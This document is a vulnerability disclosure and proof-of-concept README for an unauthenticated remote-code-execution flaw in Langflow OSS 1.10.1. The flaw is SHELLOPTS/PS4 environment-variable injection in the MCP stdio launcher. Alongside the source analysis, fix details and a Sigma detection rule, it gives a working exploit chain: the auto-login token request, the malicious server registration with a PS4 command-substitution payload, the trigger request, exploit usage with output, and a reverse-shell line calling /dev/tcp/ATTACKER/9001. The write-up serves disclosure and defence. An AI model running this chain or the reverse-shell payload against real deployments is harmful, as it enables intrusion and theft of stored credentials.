
CVE-2026-12940 — Langflow OSS <=1.10.1 unauthenticated RCE via MCP stdio environment-variable injection (SHELLOPTS/PS4). Author PoC + source analysis + lab.
Unauthenticated remote code execution in Langflow
OSS through 1.10.1. The environment-variable blocklist that guards MCP stdio server
configuration (DANGEROUS_ENV_VARS) omits SHELLOPTS, BASHOPTS and PS4. Because the
MCP stdio launcher runs the configured command through bash -c, an attacker can inject
SHELLOPTS=xtrace plus a PS4 command substitution and execute arbitrary shell commands
as the Langflow process user — no valid MCP command, no auth on a default install.
| CVE | CVE-2026-12940 |
| Product | Langflow OSS |
| Affected | 1.0.0 – 1.10.1 |
| Fixed | 1.10.2 |
| Class | OS Command Injection (CWE-78) via environment-variable injection |
| CVSS 3.1 | 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Auth | Unauthenticated on default install (AUTO_LOGIN on by default in 1.10.1) |
| Status | CONFIRMED VULNERABLE — verified end-to-end on langflowai/langflow:1.10.1 |
Langflow lets a user register external MCP (Model Context Protocol) stdio servers via
POST /api/v2/mcp/servers/{name}. The request body is validated by MCPServerConfig
(src/backend/base/langflow/api/v2/schemas.py), which is careful about command, args
and env keys:
command must be in an allowlist (node, python, npx, uvx, docker, sh, bash…).args are scanned for shell metacharacters (;, |, $, `, (, ), …) and
dangerous keywords (-c, , , …).Two gaps combine into RCE:
env values are never sanitized. Only the keys are checked against the blocklist; the
values are passed through verbatim. So a PS4 value of $(id) survives even though the
exact same characters would be rejected inside args.
The blocklist is incomplete. In 1.10.1 DANGEROUS_ENV_VARS does not contain
shellopts, bashopts or ps4.
The launcher (src/lfx/src/lfx/base/mcp/util.py) then runs, on Unix:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
With SHELLOPTS=xtrace bash enables set -x at startup and, before executing the first
traced line, expands the PS4 prompt. Command substitution inside PS4 therefore runs
immediately — independent of command/args, which never even need to be valid.
The blocklist is centralized in src/lfx/src/lfx/base/mcp/util.py as DANGEROUS_MCP_ENV_VARS
and gains shellopts, bashopts, ps4 (plus env, defense-in-depth). schemas.py now calls
is_dangerous_mcp_env_var(). The registration below is rejected with HTTP 422 on 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
The raw HTTP chain:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 gives a raw primitive for reverse shells / OAST callbacks:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
Fixed-version boundary (rejected):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
See EVIDENCE.txt for the full captured transcript and
ANALYSIS.md for the source-level walkthrough.
CONFIRMED VULNERABLE on langflowai/langflow:1.10.1, verified by two independent
techniques:
uid=1000(user) gid=0(root) groups=0(root), the real output of id(1) resolved
against the target's /etc/passwd. This is not an echo of the input string $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).PATCHED on langflowai/langflow:1.10.2 — the same registration returns HTTP 422.
Note on the unauthenticated claim. The 1.10.1 image ships with
AUTO_LOGINenabled by default, so/api/v1/auto_loginreturns a superuser token to any caller with no credentials — that is what makes the full chain unauthenticated on a default deployment. On an instance where auth is enforced, the same RCE is reachable by any authenticated user with a valid token/API key (pass it via--token). The 1.10.2 image additionally requires credentials to start, an unrelated hardening.
Arbitrary command execution as the Langflow service account. Full read of every secret, credential and flow in the Langflow database, access to internal services and cloud metadata, and a pivot into the surrounding network.
AUTO_LOGIN enabled; set explicit
superuser credentials and disable auto-login.Look for MCP server registrations whose env carries shell-control variables, and for
bash children of the Langflow process:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (process creation):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).
evalpip installDANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS,
PYTHONPATH, BASH_ENV, …).